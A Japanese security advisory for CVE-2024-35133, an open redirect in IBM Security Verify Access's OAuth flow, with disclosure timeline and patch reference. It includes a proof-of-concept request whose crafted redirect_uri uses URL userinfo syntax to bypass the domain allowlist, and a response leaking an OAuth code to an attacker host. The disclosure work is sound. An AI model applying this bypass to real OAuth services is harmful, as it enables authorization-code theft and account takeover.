IBM Security Verify Access - OAuth フロー中のオープンリダイレクト (CVE-2024-35133)

概要

改訂: 1.0
影響:
リモートの攻撃者は、被害者に特別に細工されたウェブサイトへのアクセスを誘導することで、この脆弱性を悪用して表示されるURLを偽装し、ユーザーを悪意のあるウェブサイトにリダイレクトさせる可能性があります。これにより、攻撃者は機密性の高い情報を取得したり、被害者に対してさらなる攻撃を仕掛けることが可能になります。

深刻度:

NIST: 高
IBM: 中

CVSS スコア:

NIST: 8.2 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N)
IBM: 6.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N)

CVE-ID: CVE-2024-35133

ベンダー: IBM

影響を受ける製品:

IBM Security Verify Access
IBM Security Verify Access Docker

影響を受けるバージョン: 10.0.0 - 10.0.8

製品説明

IBM Security Verify Access は、完全な認可およびネットワークセキュリティポリシー管理ソリューションです。地理的に分散したイントラネットおよびエクストラネット上のリソースをエンドツーエンドで保護します。

主な機能は次のとおりです。

認証: 幅広い組み込み認証子と外部認証子のサポート。
認可: 保護されたリソース要求に対するセキュアな許可/拒否の判断。
データセキュリティと集中リソース管理: 企業ファイアウォールシステムを介したパブリックインターネット接続を使用して、内部ネットワークベースのリソースへの安全なアクセスを管理します。

詳細説明

クライアントの OAuth フローのペネトレーションテスト中に、OAuth の「code」変数の漏洩を許すオープンリダイレクト脆弱性が発見されました。

OAuth フロー中の「redirect_uri」パラメータを検証するパーサーのロジックを（RFC 3986 を利用して）バイパスすることで、攻撃者は IBM Security Verify Access のドメインホワイトリストフィルタを操作できました。その結果、攻撃者が制御する任意のドメインへのオープンリダイレクトが発生しました。被害者は、ドメインが信頼されているように見える状態で悪意のあるサイトにリダイレクトされる可能性があります。

これにより、OAuth の「code」トークンなどの機密情報が露呈したり、被害者に対するさらなる攻撃が発生する可能性があります。

実証コード

リクエスト

GET /oauth/oauth20/authorize?response_type=code&client_id=[REDACTED]&state=001710863806728MPUw0xFSj&REDACTED_uri=https://legitimate.domain:[email protected]/[REDACTED]/openid/REDACTED/[REDACTED]&scope=openid+ HTTP/1.1
Host: [REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

レスポンス

HTTP/1.1 302 Found 
content-language: en-US 
date: Tue, 19 Mar 2024 16:04:35 GMT 
location: https://legitimate.domain:[email protected]/[REDACTED]/openid/REDACTED/[REDACTED]?state=001710863806728MPUw0xFSj&code=7wkH581y0uyS0nm4ff65zCqHn0WC46w7v&iss=[REDACTED] 
p3p: CP="NON CUR OTPi OUR NOR UNI" 
x-frame-options: DENY 
x-content-type-options: nosniff 
cache-control: no-store 
x-xss-protection: 1; mode=block 
x-permitted-cross-domain-policies: none 
cross-origin-resource-policy: same-site 
content-security-policy: frame-ancestors 'none' 
referrer-policy: no-referrer-when-downgrade 
strict-transport-security: max-age=31536000; includeSubDomains 
pragma: no-cache 
Content-Length: 0.

解決策

パッチ、アップグレード、または推奨される回避策については、IBM セキュリティ速報 7166712 を参照してください。
詳細は参考情報を参照してください。

開示スケジュール

2024年3月19日: セキュリティ研究者 (Giulio Garzia) により脆弱性を発見
2024年3月21日: IBM Security Verify Access を利用しているクライアントに脆弱性を共有
2024年4月2日: IBM に脆弱性を報告
2024年5月14日: IBM により脆弱性を確認
2024年7月18日: IBM から顧客にプレリリースパッチを提供
2024年8月27日: IBM によりセキュリティ速報と脆弱性情報を公開

参考情報

謝辞

本脆弱性は以下の方により発見・報告されました。

Giulio Garzia
LinkedIn
GitHub

法的通知

このアラートの電子的な再配布は許可されています。明示的な書面による同意なしに編集することはできません。他のメディアでこのアラートを転載する場合は、著者に連絡してください。

免責事項: 本アドバイザリの情報は、公開時点で利用可能なデータに基づいて正確です。いかなる保証も提供されません。著者も発行者も、本情報の使用に起因する直接的、間接的、または結果的な損害について責任を負いません。

IBM-Security-Verify-oAuth_Token_Steal-CVE-2024-35133

人気